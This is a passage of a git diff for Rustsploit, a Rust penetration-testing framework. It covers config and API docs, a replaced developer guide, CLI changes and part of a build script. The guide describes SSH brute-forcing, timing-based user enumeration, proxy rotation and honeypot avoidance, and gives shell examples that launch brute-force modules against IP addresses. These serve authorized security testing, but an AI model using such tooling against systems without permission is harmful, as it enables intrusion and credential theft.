if !GLOBAL_CONFIG.has_target() {
|
||||
println!("No target set!");
|
||||
return Ok(());
|
||||
}
|
||||
|
||||
// Read the target as a string
|
||||
let target = GLOBAL_CONFIG.get_target().unwrap();
|
||||
println!("Targeting: {}", target);
|
||||
```
|
||||
|
||||
#### `GlobalConfig` Methods
|
||||
|
||||
| Method | Returns | Description |
|
||||
|--------|---------|-------------|
|
||||
| `.set_target(target)` | `Result<()>` | Set global target (IP, hostname, or CIDR). Validates input. |
|
||||
| `.get_target()` | `Option<String>` | Get the target as a display string |
|
||||
| `.get_single_target_ip()` | `Result<String>` | Get single IP; for subnets returns the network address |
|
||||
| `.has_target()` | `bool` | Check if any target is set |
|
||||
| `.is_subnet()` | `bool` | `true` if the target is a CIDR subnet |
|
||||
| `.get_target_subnet()` | `Option<IpNetwork>` | Returns the `IpNetwork` if target is a subnet |
|
||||
| `.get_target_size()` | `Option<u64>` | Number of IPs (1 for single, 2^(32-prefix) for subnets) |
|
||||
| `.clear_target()` | `()` | Unset the target |
|
||||
|
||||
#### `TargetConfig` Enum
|
||||
|
||||
```rust
|
||||
use crate::config::TargetConfig;
|
||||
|
||||
pub enum TargetConfig {
|
||||
Single(String), // Single IP or hostname
|
||||
Subnet(IpNetwork), // CIDR subnet
|
||||
}
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
### `ModuleConfig` & API Prompt Keys
|
||||
|
||||
`ModuleConfig` bridges modules to the API. When the API server receives a `/api/run` request, it populates a `ModuleConfig` with the JSON `"prompts"` object. The `cfg_prompt_*` functions in `src/utils/prompt.rs` read these values instead of prompting stdin.
|
||||
|
||||
#### Struct Fields
|
||||
|
||||
```rust
|
||||
pub struct ModuleConfig {
|
||||
pub port: Option<u16>,
|
||||
pub username_wordlist: Option<String>,
|
||||
pub password_wordlist: Option<String>,
|
||||
pub concurrency: Option<usize>,
|
||||
pub stop_on_success: Option<bool>,
|
||||
pub save_results: Option<bool>,
|
||||
pub output_file: Option<String>,
|
||||
pub verbose: Option<bool>,
|
||||
pub combo_mode: Option<bool>,
|
||||
pub custom_prompts: HashMap<String, String>, // ← cfg_prompt_* reads from here
|
||||
pub api_mode: bool, // ← prevents stdin fallback
|
||||
}
|
||||
```
|
||||
|
||||
#### Helper Functions
|
||||
|
||||
| Function | Description |
|
||||
|----------|-------------|
|
||||
| `get_module_config()` | Get a clone of the current config (safe to call from any module) |
|
||||
| `set_module_config(config)` | Set the config (called by API server before module execution) |
|
||||
| `clear_module_config()` | Reset to defaults (called after module execution) |
|
||||
|
||||
```rust
|
||||
use crate::config::get_module_config;
|
||||
|
||||
let config = get_module_config();
|
||||
if config.api_mode {
|
||||
// Running via API — don't expect stdin
|
||||
}
|
||||
if let Some(port) = config.port {
|
||||
// Use pre-configured port
|
||||
}
|
||||
```
|
||||
|
||||
#### Standardized API Prompt Keys
|
||||
|
||||
When building API requests, use these standardized keys in the `"prompts"` JSON object:
|
||||
|
||||
**Common keys (most modules):**
|
||||
|
||||
| Key | Type | Description |
|
||||
|-----|------|-------------|
|
||||
| `port` | u16 | Target service port |
|
||||
| `timeout` | int | Connection timeout (seconds or ms) |
|
||||
| `verbose` | y/n | Verbose output |
|
||||
| `save_results` | y/n | Save results to file |
|
||||
| `output_file` | string | Output filename |
|
||||
| `concurrency` | int | Concurrent threads/tasks |
|
||||
| `threads` | int | Alias for concurrency |
|
||||
| `wordlist` | path | Path to wordlist file |
|
||||
| `target_file` | path | File containing targets |
|
||||
| `mode` | string | Operation mode (1, 2, 3, etc.) |
|
||||
|
||||
**Scanner-specific keys** (see full list in `config.rs` doc comments):
|
||||
- Port Scanner: `port_range`, `scan_method`, `show_only_open`
|
||||
- Dir Brute: `scan_mode`, `delay_ms`, `random_agent`, `use_https`
|
||||
- Sequential Fuzzer: `min_length`, `max_length`, `charset`, `encoding`
|
||||
- API Endpoint Scanner: `output_dir`, `use_spoofing`, `enable_delete`, `modules`
|
||||
|
||||
---
|
||||
|
||||
### `results_dir() → PathBuf`
|
||||
|
||||
Returns `~/.rustsploit/results/`, creating it if needed. Use this when saving module output in API mode.
|
||||
|
||||
```rust
|
||||
use crate::config::results_dir;
|
||||
|
||||
let out_path = results_dir().join("scan_output.txt");
|
||||
std::fs::write(&out_path, results)?;
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Constants
|
||||
|
||||
| Constant | Value | Purpose |
|
||||
|----------|-------|---------|
|
||||
| `MAX_TARGET_LENGTH` | 2048 | Maximum target string length |
|
||||
| `MAX_MODULE_PATH_LENGTH` | 512 | Maximum module path length |
|
||||
| `MAX_COMMAND_LENGTH` | 8192 | Maximum command/input length |
|
||||
| `MAX_PATH_LENGTH` | 4096 | Maximum file path length |
|
||||
| `MAX_HOSTNAME_LENGTH` | 253 | Maximum hostname length (config.rs) |
|
||||
|
||||
---
|
||||
|
||||
## Extending Utils
|
||||
|
||||
Add new reusable helpers to `src/utils/` (the appropriate submodule: `prompt.rs`, `sanitize.rs`, `target.rs`, `network.rs`, or `modules.rs`), `creds/utils.rs`, or `config.rs` rather than copy-pasting into individual modules. Common candidates:
|
||||
- HTTP header templates
|
||||
- Response fingerprinting helpers
|
||||
- Common error formatters
|
||||
- Credential loaders with streaming support
|
||||
+23
-442
@@ -1,446 +1,27 @@
|
||||
# Rustsploit Developer Guide
|
||||
# Rustsploit Developer Guide
|
||||
|
||||
> Reference manual for maintainers and contributors. Covers the architecture, build-time module discovery, shell ergonomics, proxy plumbing, and authoring guidelines for exploits, scanners, and credential modules.
|
||||
> ⚠️ **This file has been superseded by the new wiki documentation.**
|
||||
> Please use the links below for up-to-date information.
|
||||
|
||||
---
|
||||
|
||||
## Table of Contents
|
||||
|
||||
1. [Project Overview](#project-overview)
|
||||
2. [Code Layout](#code-layout)
|
||||
3. [Build Pipeline & Module Discovery](#build-pipeline--module-discovery)
|
||||
4. [Shell Architecture](#shell-architecture)
|
||||
5. [Proxy Subsystem](#proxy-subsystem)
|
||||
6. [Command-Line Interface](#command-line-interface)
|
||||
7. [Security & Input Validation](#security--input-validation)
|
||||
8. [Authoring Modules](#authoring-modules)
|
||||
9. [Credential Modules: Best Practices](#credential-modules-best-practices)
|
||||
10. [Exploit Modules: Best Practices](#exploit-modules-best-practices)
|
||||
11. [Utilities & Helpers](#utilities--helpers)
|
||||
12. [Testing & QA](#testing--qa)
|
||||
13. [Roadmap & Ideas](#roadmap--ideas)
|
||||
|
||||
---
|
||||
|
||||
## Project Overview
|
||||
|
||||
Rustsploit is a Rust-first re-imagining of RouterSploit:
|
||||
|
||||
- Async-native (Tokio) for scalable brute forcing and network IO
|
||||
- Auto-discovered modules categorized as `exploits`, `scanners`, and `creds`
|
||||
- Interactive shell + CLI runner referencing the same dispatch layer
|
||||
- Proxy-aware execution with run-time rotation, validation, and fallback logic
|
||||
- IPv4/IPv6-friendly: target normalization happens uniformly
|
||||
- Carefully colored, concise output designed for operators on remote consoles
|
||||
|
||||
---
|
||||
|
||||
## Code Layout
|
||||
|
||||
```text
|
||||
rustsploit/
|
||||
├── Cargo.toml
|
||||
├── build.rs # Generates dispatcher code by scanning src/modules
|
||||
├── src/
|
||||
│ ├── main.rs # Entry point, selects CLI or shell mode (includes input validation)
|
||||
│ ├── cli.rs # Clap-based CLI parser and dispatcher
|
||||
│ ├── shell.rs # Interactive shell loop + UX helpers (includes sanitization)
|
||||
│ ├── api.rs # REST API server with auth, rate limiting, and security
|
||||
│ ├── config.rs # Global configuration with target validation
|
||||
│ ├── commands/ # Dispatch glue for exploits/scanners/creds
|
||||
│ │ ├── mod.rs
|
||||
│ │ ├── exploit.rs
|
||||
│ │ ├── exploit_gen.rs # build.rs output
|
||||
│ │ ├── scanner.rs
|
||||
│ │ ├── scanner_gen.rs # build.rs output
|
||||
│ │ ├── creds.rs
|
||||
│ │ └── creds_gen.rs # build.rs output
|
||||
│ ├── modules/ # Fully auto-discovered attack modules
|
||||
│ │ ├── exploits/
|
||||
│ │ ├── scanners/
|
||||
│ │ └── creds/
|
||||
│ └── utils.rs # Shared helpers (proxy parsing, module lookup, validation)
|
||||
├── docs/
|
||||
│ └── readme.md # This document
|
||||
├── lists/
|
||||
│ ├── readme.md # Wordlist + data file catalogue
|
||||
│ ├── rtsp-paths.txt
|
||||
│ ├── rtsphead.txt
|
||||
│ └── telnet-default/ # Default telnet credentials
|
||||
└── README.md # Product overview
|
||||
```
|
||||
|
||||
Key takeaway: modules are just Rust files under `src/modules/**`. Add `pub mod my_module;` in the local `mod.rs`, and the build script handles the rest.
|
||||
|
||||
---
|
||||
|
||||
## Build Pipeline & Module Discovery
|
||||
|
||||
1. **`build.rs` scan:** Before compilation, build.rs walks `src/modules` (depth-limited) looking for `.rs` files that are not `mod.rs`.
|
||||
2. **Signature detection:** If a file exposes `pub async fn run(`, it is treated as a callable module.
|
||||
3. **Name generation:** Both a *short name* (`ssh_bruteforce`) and *qualified path* (`creds/generic/ssh_bruteforce`) are registered.
|
||||
4. **Dispatcher emission:** Three files (`exploit_gen.rs`, `scanner_gen.rs`, `creds_gen.rs`) are emitted with exhaustive `match` statements that map names → `use crate::modules::...::run`.
|
||||
5. **Shell + CLI usage:** When users invoke `use exploits/foo` or `--module foo`, the dispatcher resolves the actual function.
|
||||
|
||||
Because the dispatcher is generated at build time, there is no manual registry drift as long as modules live in the right folder and export `run`.
|
||||
|
||||
---
|
||||
|
||||
## Shell Architecture
|
||||
|
||||
The shell lives in `src/shell.rs`. Highlights:
|
||||
|
||||
- **Context:** `ShellContext` stores `current_module`, `current_target`, the loaded `proxy_list`, and `proxy_enabled` boolean.
|
||||
- **Prompt helpers:** Inline functions prompt for paths, yes/no decisions, timeouts, etc.
|
||||
- **Shortcut parsing:** `split_command` + `resolve_command` normalize input (e.g., `f1 ssh`, `pon`, `ptest`) to canonical keys.
|
||||
- **Command palette:** `render_help()` prints a colorized table for quick reference.
|
||||
- **Proxy tests:** `proxy_test` command triggers async validation via utils.
|
||||
- **Run pipeline:** On `run`/`go`, the shell enforces:
|
||||
- Module selected
|
||||
- Target set
|
||||
- Proxy state respected (rotate until success or fallback direct)
|
||||
- Environment variables (`ALL_PROXY`, `HTTP_PROXY`, `HTTPS_PROXY`) set/cleared per attempt
|
||||
- **State reset:** On exit, nothing is persisted intentionally for OPSEC.
|
||||
|
||||
Extensions (tab completion, history) can be added by wrapping the loop with a line-editor crate, but are omitted today to keep dependencies minimal.
|
||||
|
||||
### Command Chaining
|
||||
|
||||
The shell supports command chaining via the `&` separator, allowing multiple commands to be executed in a single line:
|
||||
|
||||
```bash
|
||||
rsf> u creds/generic/ssh_bruteforce & set target 10.10.10.10 & go
|
||||
rsf> f1 ssh & u creds/generic/ssh_bruteforce & set target 192.168.1.1
|
||||
```
|
||||
|
||||
Commands are parsed and executed sequentially from left to right. This is useful for scripting workflows or quick module setup.
|
||||
|
||||
---
|
||||
|
||||
## Proxy Subsystem
|
||||
|
||||
Implemented in `utils.rs` and surfaced in the shell.
|
||||
|
||||
- **Loader:** `load_proxies_from_file` reads lists, normalizes schemes (defaulting to `http://`), validates host/port via `Url`, and tolerates comments or blank lines. Returns both valid entries and a list of parse errors (line number, reason).
|
||||
- **Supported schemes:** `http`, `https`, `socks4`, `socks4a`, `socks5`, `socks5h`.
|
||||
- **Tester:** `test_proxies` concurrently (Tokio) checks a user-chosen URL using `reqwest::Proxy::all`. Configurable timeout and max concurrency.
|
||||
- **Result:** Working proxies are retained; failures are reported with the reason (connection refused, invalid cert, etc.).
|
||||
- **Integration:** Shell invites the user to validate immediately after loading; `proxy_test` can also be used on demand.
|
||||
|
||||
Proxies are set globally via environment variables so both module HTTP requests and low-level sockets (if they honor `ALL_PROXY`) benefit.
|
||||
|
||||
---
|
||||
|
||||
## Command-Line Interface
|
||||
|
||||
`src/cli.rs` uses Clap to expose three commands:
|
||||
|
||||
- `--command exploit|scanner|creds`
|
||||
- `--module <name>` (short or qualified, same mapping as the shell)
|
||||
- `--target <host|IP>`
|
||||
|
||||
Example:
|
||||
|
||||
```bash
|
||||
cargo run -- --command exploit --module heartbleed --target 203.0.113.12
|
||||
```
|
||||
|
||||
If the module needs additional parameters, it can prompt interactively (e.g., brute-force modules ask for wordlists even in CLI mode). For automated pipelines, modules should provide sensible defaults or accept environment variables.
|
||||
|
||||
---
|
||||
|
||||
## Security & Input Validation
|
||||
|
||||
RustSploit implements comprehensive security measures throughout the codebase. When contributing, follow these guidelines:
|
||||
|
||||
### Input Validation Constants
|
||||
|
||||
Located across core modules, these constants enforce safe limits:
|
||||
|
||||
| File | Constant | Value | Purpose |
|
||||
|------|----------|-------|---------|
|
||||
| `shell.rs` | `MAX_INPUT_LENGTH` | 4096 | Maximum shell input length |
|
||||
| `shell.rs` | `MAX_TARGET_LENGTH` | 512 | Maximum target string length |
|
||||
| `shell.rs` | `MAX_URL_LENGTH` | 2048 | Maximum URL length |
|
||||
| `shell.rs` | `MAX_PATH_LENGTH` | 4096 | Maximum file path length |
|
||||
| `shell.rs` | `MAX_PROXY_LIST_SIZE` | 10,000 | Maximum proxy entries |
|
||||
| `utils.rs` | `MAX_FILE_SIZE` | 10MB | Maximum file size to read |
|
||||
| `utils.rs` | `MAX_PROXIES` | 100,000 | Maximum proxies to process |
|
||||
| `config.rs` | `MAX_HOSTNAME_LENGTH` | 253 | DNS hostname limit |
|
||||
| `api.rs` | `MAX_REQUEST_BODY_SIZE` | 1MB | API request body limit |
|
||||
| `api.rs` | `MAX_TRACKED_IPS` | 100,000 | IP tracker limit |
|
||||
|
||||
### Security Patterns
|
||||
|
||||
When writing modules or core code, follow these patterns:
|
||||
|
||||
#### 1. Input Length Validation
|
||||
```rust
|
||||
if input.len() > MAX_INPUT_LENGTH {
|
||||
return Err(anyhow!("Input too long (max {} characters)", MAX_INPUT_LENGTH));
|
||||
}
|
||||
```
|
||||
|
||||
#### 2. Control Character Rejection
|
||||
```rust
|
||||
if input.chars().any(|c| c.is_control()) {
|
||||
return Err(anyhow!("Input cannot contain control characters"));
|
||||
}
|
||||
```
|
||||
|
||||
#### 3. Path Traversal Prevention
|
||||
```rust
|
||||
if input.contains("..") || input.contains("//") {
|
||||
return Err(anyhow!("Path traversal detected"));
|
||||
}
|
||||
```
|
||||
|
||||
#### 4. Hostname/Target Validation
|
||||
```rust
|
||||
// Use the framework's normalize_target function for comprehensive validation
|
||||
use crate::utils::normalize_target;
|
||||
|
||||
let normalized = normalize_target(raw_target)?;
|
||||
// This handles IPv4, IPv6, hostnames, URLs, CIDR notation with full validation
|
||||
```
|
||||
|
||||
For manual validation:
|
||||
```rust
|
||||
use regex::Regex;
|
||||
let valid_chars = Regex::new(r"^[a-zA-Z0-9.\-_:\[\]]+$").unwrap();
|
||||
if !valid_chars.is_match(target) {
|
||||
return Err(anyhow!("Invalid characters in target"));
|
||||
}
|
||||
```
|
||||
|
||||
#### 5. Overflow Protection
|
||||
```rust
|
||||
// Use saturating_add to prevent overflow
|
||||
counter = counter.saturating_add(1);
|
||||
```
|
||||
|
||||
#### 6. Prompt Attempt Limiting
|
||||
```rust
|
||||
const MAX_ATTEMPTS: u8 = 10;
|
||||
let mut attempts = 0;
|
||||
loop {
|
||||
attempts += 1;
|
||||
if attempts > MAX_ATTEMPTS {
|
||||
println!("Too many invalid attempts. Using default.");
|
||||
return Ok(default);
|
||||
}
|
||||
// ... prompt logic
|
||||
}
|
||||
```
|
||||
|
||||
### API Security
|
||||
|
||||
The API server (`api.rs`) implements:
|
||||
|
||||
- **Request Body Limiting:** `RequestBodyLimitLayer` prevents DoS via large payloads
|
||||
- **Rate Limiting:** 3 failed auth attempts = 30 second block
|
||||
- **Auto-cleanup:** Old entries purged when limits exceeded
|
||||
- **IP Tracking:** With automatic rotation when suspicious activity detected
|
||||
|
||||
### File Operations
|
||||
|
||||
When reading files, always:
|
||||
1. Validate the path doesn't contain `..`
|
||||
2. Use `canonicalize()` to resolve the real path
|
||||
3. Check file size before reading
|
||||
4. Skip symlinks for security
|
||||
|
||||
### Honeypot Detection
|
||||
|
||||
The framework automatically runs honeypot detection before module execution when a target is set. The `basic_honeypot_check` function in `utils.rs`:
|
||||
|
||||
- Scans 200 common ports with 250ms timeout per port
|
||||
- If 11+ ports are open, warns that the target is likely a honeypot
|
||||
- Runs automatically in the shell's `run` and `run_all` commands
|
||||
- Can be called manually: `utils::basic_honeypot_check(&ip).await`
|
||||
|
||||
This helps operators identify potentially deceptive targets before spending time on them.
|
||||
|
||||
---
|
||||
|
||||
## Authoring Modules
|
||||
|
||||
Every module must export:
|
||||
|
||||
```rust
|
||||
use anyhow::Result;
|
||||
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
// ...
|
||||
Ok(())
|
||||
}
|
||||
```
|
||||
|
||||
Guidelines:
|
||||
|
||||
1. **Location:** choose one of `src/modules/{exploits,scanners,creds}`. Use subfolders for vendor families (e.g., `exploits/cisco/`).
|
||||
2. **`mod.rs`:** add `pub mod your_module;` in the sibling `mod.rs`. Without this, the build script ignores the file.
|
||||
3. **Async I/O:** prefer `reqwest`, `tokio::net`, `tokio::process`, etc. Synchronous blocking code should be wrapped with `tokio::task::spawn_blocking` where possible (see SSH module).
|
||||
4. **Logging:** leverage `colored` for clarity, but keep messages short and actionable. Use `[+]`, `[-]`, `[!]`, `[*]` prefixes consistently.
|
||||
5. **Error handling:** bubble up with context (`anyhow::Context`) so the shell/CLI surface meaningful errors.
|
||||
6. **Wordlists / resources:** store under `lists/` and document them in `lists/readme.md`.
|
||||
7. **Optional interactive mode:** If the module benefits from multiple code paths, optionally expose `run_interactive` and call it from `run`.
|
||||
|
||||
### skeleton
|
||||
|
||||
```rust
|
||||
use anyhow::{Context, Result};
|
||||
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
println!("[*] Checking {}", target);
|
||||
|
||||
let url = format!("http://{}/status", target);
|
||||
let body = reqwest::get(&url)
|
||||
.await
|
||||
.with_context(|| format!("failed to reach {}", url))?
|
||||
.text()
|
||||
.await
|
||||
.context("failed to fetch body")?;
|
||||
|
||||
if body.contains("vulnerable") {
|
||||
println!("[+] {} appears vulnerable", target);
|
||||
} else {
|
||||
println!("[-] {} not vulnerable", target);
|
||||
}
|
||||
|
||||
Ok(())
|
||||
}
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Credential Modules: Best Practices
|
||||
|
||||
Modules like FTP/SSH/Telnet/POP3/SMTP/RTSP/RDP/MQTT follow shared patterns:
|
||||
|
||||
- **Input prompts:** ask for port, username/password wordlists, concurrency limit, stop-on-success toggle, output file, verbose logging.
|
||||
- **Sanitation:** trim wordlist entries, skip blanks, provide early exits if lists are empty.
|
||||
- **Concurrency:**
|
||||
- Use `tokio::Semaphore` for asynchronous modules (FTP, SSH, MQTT).
|
||||
- Use `threadpool` + `crossbeam-channel` for synchronous protocols (Telnet, POP3, SMTP).
|
||||
- **Adaptive throttling:** Some modules (FTP) sample CPU/RAM to avoid saturating the host.
|
||||
- **TLS/STARTTLS:** Accept invalid certs for offensive tooling convenience, but note this clearly.
|
||||
- **Result persistence:** Offer to write `host -> user:pass` pairs to a local file (in `./` by default).
|
||||
- **IPv6:** Use helpers like `format_addr` to wrap IPv6 addresses in brackets and support port suffixes.
|
||||
- **Error classification:** Implement comprehensive error types (ConnectionFailed, AuthenticationFailed, Timeout, etc.) for better debugging and reporting.
|
||||
- **Memory management:** For large wordlists (>150MB), implement streaming mode to prevent memory exhaustion (see RDP module for reference).
|
||||
- **Timing Attacks:** When implementing user enumeration, use statistical analysis (samples/variance) rather than simple thresholds to account for network jitter (see SSH User Enum module).
|
||||
- **Protocol compliance:** Implement full protocol support where applicable (e.g., Telnet IAC negotiation, MQTT 3.1.1).
|
||||
|
||||
- **FTP Bruteforce Enhancements**:
|
||||
- 5 Operation Modes: Single Target, Subnet (CIDR), Batch Scanner, Quick Default Check, Subnet Default Check
|
||||
- JSON configuration system with load/save/validation
|
||||
- 32 utility functions (streaming wordlists, JSON/CSV export, network intelligence)
|
||||
- Framework `normalize_target()` integration
|
||||
|
||||
- **L2TP/IPsec Module**:
|
||||
- Multi-platform: strongswan, xl2tpd, pppd, NetworkManager (Linux), rasdial (Windows), networksetup (macOS)
|
||||
- Proper IPsec Phase 1/2 and L2TP session management
|
||||
- L2TPv2 packet crafting with AVP encoding
|
||||
|
||||
### Recent Module Enhancements
|
||||
|
||||
- **Telnet Module**:
|
||||
- Full IAC (Interpret As Command) negotiation with proper option handling
|
||||
- Enhanced error classification with specific error types
|
||||
- Verbose mode for quick checks with detailed attempt reporting
|
||||
- Improved buffer handling using `BytesMut` with size limits
|
||||
|
||||
- **RDP Module**:
|
||||
- Streaming failover for password files >150MB
|
||||
- Comprehensive error classification with 8 error types
|
||||
- Multiple security level support (Auto, NLA, TLS, RDP, Negotiate)
|
||||
- Command injection prevention via argument sanitization
|
||||
|
||||
- **MQTT Module**:
|
||||
- Full MQTT 3.1.1 protocol implementation
|
||||
- Proper variable-length encoding and UTF-8 string encoding
|
||||
- CONNACK response parsing with error classification
|
||||
|
||||
- **SSH User Enumeration**:
|
||||
- Implements timing-based enumeration inspired by CVE-2018-15473
|
||||
- Statistical analysis using standard deviation to identify valid users
|
||||
- precise `tokio::time::Instant` measurements for authentication attempts
|
||||
|
||||
- **Directory Bruteforcer**:
|
||||
- `DirBruteConfig` struct handles comprehensive settings (extensions, status codes, threads)
|
||||
- Recursive scanning logic with depth control
|
||||
- Custom `Client` configuration for optimized throughput
|
||||
- Interactive setup wizard `setup_wizard` guides users through configuration
|
||||
|
||||
- **Sequential Fuzzer**:
|
||||
- Supports versatile payload placement (URL, Header, Body)
|
||||
- `EncodingType` enum supports 10+ encoding schemes including Double URL and Hex
|
||||
- Base-N counting algorithm for exhaustive iteration without memory overhead
|
||||
- Modular `charset` selection (SQL, Traversal, Command Injection)
|
||||
|
||||
---
|
||||
|
||||
## Exploit Modules: Best Practices
|
||||
|
||||
- **CVE referencing:** mention CVE IDs and vendor/product in comments and output.
|
||||
- **Artifact handling:** If the exploit downloads or writes files (e.g., Heartbleed dump), store them in the current working directory or a named subfolder.
|
||||
- **Clean-up:** If credentials or accounts are added (Abus camera module), explain the impact and clean-up instructions in output or comments.
|
||||
- **Safety checks:** Validate responses before declaring success; false positives hurt credibility.
|
||||
- **Options:** Use `prompt_*` helpers (borrow from existing modules) if end-user input is needed (e.g., RTSP advanced headers, extra path lists).
|
||||
|
||||
---
|
||||
|
||||
## Utilities & Helpers
|
||||
|
||||
`src/utils.rs` provides:
|
||||
|
||||
- **`normalize_target`**: Comprehensive target normalization supporting:
|
||||
- IPv4: `192.168.1.1`, `192.168.1.1:8080`
|
||||
- IPv6: `::1`, `[::1]`, `[::1]:8080`, `2001:db8::1`
|
||||
- Hostnames: `example.com`, `example.com:443`
|
||||
- URLs: `http://example.com:8080` (extracts host:port)
|
||||
- CIDR notation: `192.168.1.0/24`, `2001:db8::/32`
|
||||
|
||||
Includes comprehensive validation (DoS prevention, path traversal protection, format validation).
|
||||
|
||||
- **`extract_ip_from_target`**: Extracts IP address or hostname from normalized target strings, handling ports, brackets, and CIDR notation.
|
||||
|
||||
- **`basic_honeypot_check`**: Framework-level honeypot detection that scans 200 common ports. If 11+ ports are open, warns that the target is likely a honeypot. This runs automatically before module execution when a target is set.
|
||||
|
||||
- **`module_exists` / `list_all_modules` / `find_modules`**: Used by shell to present module inventory.
|
||||
|
||||
- **Proxy helpers**: `load_proxies_from_file`, `test_proxies`, etc. (described earlier).
|
||||
|
||||
Feel free to expand this file with reusable pieces (e.g., credential loader, HTTP header templates) to avoid duplication inside modules.
|
||||
|
||||
---
|
||||
|
||||
## Testing & QA
|
||||
|
||||
1. **Static checks:** `cargo fmt` and `cargo clippy` (where available).
|
||||
2. **Build:** `cargo check` ensures new modules compile.
|
||||
3. **Runtime smoke tests:**
|
||||
- Shell: `cargo run` → `modules` → run a harmless module (e.g., `scanners/sample_scanner`).
|
||||
- CLI: `cargo run -- --command scanner --module sample_scanner --target 127.0.0.1`.
|
||||
4. **Proxy validation:** Load a mixed proxy file and confirm `proxy_test` filters entries correctly.
|
||||
5. **Wordlists:** Validate that required lists exist (e.g., RTSP paths) and are referenced in docstrings.
|
||||
|
||||
When adding new modules, include short usage documentation (stdout prints, README notes) so other operators know how to drive them.
|
||||
|
||||
---
|
||||
|
||||
## Roadmap & Ideas
|
||||
|
||||
- Interactive shell improvements (history, tab completion, colored banners)
|
||||
- Automated module testing harness (mock servers for POP3/SMTP/RTSP)
|
||||
- Credential module templates (derive-style macros for common prompts)
|
||||
- Integration with external wordlists (dynamic download or git submodules)
|
||||
- Session logging (`tee` support) and output JSON export for pipeline ingestion
|
||||
- Transport abstractions for UDP/DoS modules
|
||||
|
||||
Contributions are welcome—open an issue or start a discussion before large refactors.
|
||||
|
||||
---
|
||||
|
||||
Happy hacking, and remember: **authorized testing only**. Commit messages and module descriptions should always reflect controlled research usage. !***
|
||||
## Wiki Index
|
||||
|
||||
| Document | Description |
|
||||
|----------|-------------|
|
||||
| [Home](Home.md) | Full documentation index |
|
||||
| [Getting Started](Getting-Started.md) | Installation, build, Docker |
|
||||
| [Interactive Shell](Interactive-Shell.md) | Shell walkthrough and commands |
|
||||
| [CLI Reference](CLI-Reference.md) | All CLI flags and examples |
|
||||
| [API Server](API-Server.md) | REST API startup, auth, hardening |
|
||||
| [API Usage Examples](API-Usage-Examples.md) | Practical curl workflows |
|
||||
| [Module Catalog](Module-Catalog.md) | All modules by category |
|
||||
| [Module Development](Module-Development.md) | How to author new modules |
|
||||
| [Security & Validation](Security-Validation.md) | Input validation, security patterns |
|
||||
| [Credential Modules Guide](Credential-Modules-Guide.md) | Brute-force module best practices |
|
||||
| [Exploit Modules Guide](Exploit-Modules-Guide.md) | Exploit module best practices |
|
||||
| [Utilities & Helpers](Utilities-Helpers.md) | `utils.rs` public API |
|
||||
| [Testing & QA](Testing-QA.md) | Build checks and smoke tests |
|
||||
| [Changelog](Changelog.md) | Release notes |
|
||||
| [Contributing](Contributing.md) | Fork guide and PR checklist |
|
||||
| [Credits](Credits.md) | Authors and acknowledgements |
|
||||
|
||||
+2582
-659
File diff suppressed because it is too large
Load Diff
+29
-18
@@ -1,13 +1,8 @@
|
||||
use clap::{ArgGroup, Parser};
|
||||
use clap::Parser;
|
||||
|
||||
/// Simple RouterSploit-like CLI in Rust
|
||||
#[derive(Parser, Debug)]
|
||||
#[command(author, version, about, long_about = None)]
|
||||
#[clap(group(
|
||||
ArgGroup::new("mode")
|
||||
.required(false)
|
||||
.args(&["command", "api"])
|
||||
))]
|
||||
pub struct Cli {
|
||||
/// Subcommand to run (e.g. "exploit", "scanner", "creds")
|
||||
pub command: Option<String>,
|
||||
@@ -24,23 +19,39 @@ pub struct Cli {
|
||||
#[arg(long)]
|
||||
pub api: bool,
|
||||
|
||||
/// API key for authentication (required when --api is used)
|
||||
/// Path to PQ authorized keys file (default: ~/.rustsploit/pq_authorized_keys)
|
||||
#[arg(long, requires = "api")]
|
||||
pub api_key: Option<String>,
|
||||
pub pq_authorized_keys: Option<String>,
|
||||
|
||||
/// Enable hardening mode (auto-rotate API key on suspicious activity)
|
||||
#[arg(long, requires = "api")]
|
||||
pub harden: bool,
|
||||
|
||||
/// Network interface to bind API server to (default: 0.0.0.0)
|
||||
#[arg(long, requires = "api", default_value = "0.0.0.0")]
|
||||
/// Network interface to bind API server to (default: 127.0.0.1)
|
||||
#[arg(long, requires = "api", default_value = "127.0.0.1")]
|
||||
pub interface: Option<String>,
|
||||
|
||||
/// IP limit for hardening mode (default: 10 unique IPs)
|
||||
#[arg(long, requires = "harden", default_value = "10")]
|
||||
pub ip_limit: Option<u32>,
|
||||
|
||||
/// Set global target IP/subnet for all modules
|
||||
#[arg(long)]
|
||||
pub set_target: Option<String>,
|
||||
|
||||
/// Enable verbose output (shows detailed operation logs)
|
||||
#[arg(short, long)]
|
||||
pub verbose: bool,
|
||||
|
||||
/// List all available modules and exit
|
||||
#[arg(long)]
|
||||
pub list_modules: bool,
|
||||
|
||||
/// Output format (text, json)
|
||||
#[arg(long, default_value = "text")]
|
||||
pub output_format: Option<String>,
|
||||
|
||||
/// Execute a resource script file on startup
|
||||
#[arg(short = 'r', long = "resource")]
|
||||
pub resource: Option<String>,
|
||||
|
||||
/// Path to PQ host key file (default: ~/.rustsploit/pq_host_key)
|
||||
#[arg(long, requires = "api")]
|
||||
pub pq_host_key: Option<String>,
|
||||
|
||||
/// Launch MCP (Model Context Protocol) server over stdio
|
||||
#[arg(long)]
|
||||
pub mcp: bool,
|
||||
}
|
||||
|
||||
@@ -1,7 +1 @@
|
||||
use anyhow::Result;
|
||||
|
||||
include!(concat!(env!("OUT_DIR"), "/creds_dispatch.rs"));
|
||||
|
||||
pub async fn run_cred_check(module_name: &str, target: &str) -> Result<()> {
|
||||
dispatch(module_name, target).await
|
||||
}
|
||||
|
||||
@@ -1,81 +0,0 @@
|
||||
use std::collections::HashSet;
|
||||
use std::env;
|
||||
use std::fs::{self, File};
|
||||
use std::io::Write;
|
||||
use std::path::Path;
|
||||
|
||||
fn main() {
|
||||
let out_dir = env::var("OUT_DIR").unwrap();
|
||||
// Keep dispatch file naming consistent with build.rs
|
||||
let dest_path = Path::new(&out_dir).join("creds_dispatch.rs");
|
||||
let mut file = File::create(&dest_path).unwrap();
|
||||
|
||||
let creds_root = Path::new("src/modules/creds");
|
||||
|
||||
let mut mappings: HashSet<(String, String)> = HashSet::new();
|
||||
|
||||
// Traverse all .rs files (excluding mod.rs)
|
||||
visit_all_rs(creds_root, "".to_string(), &mut mappings).unwrap();
|
||||
|
||||
// Generate dispatch function
|
||||
writeln!(
|
||||
file,
|
||||
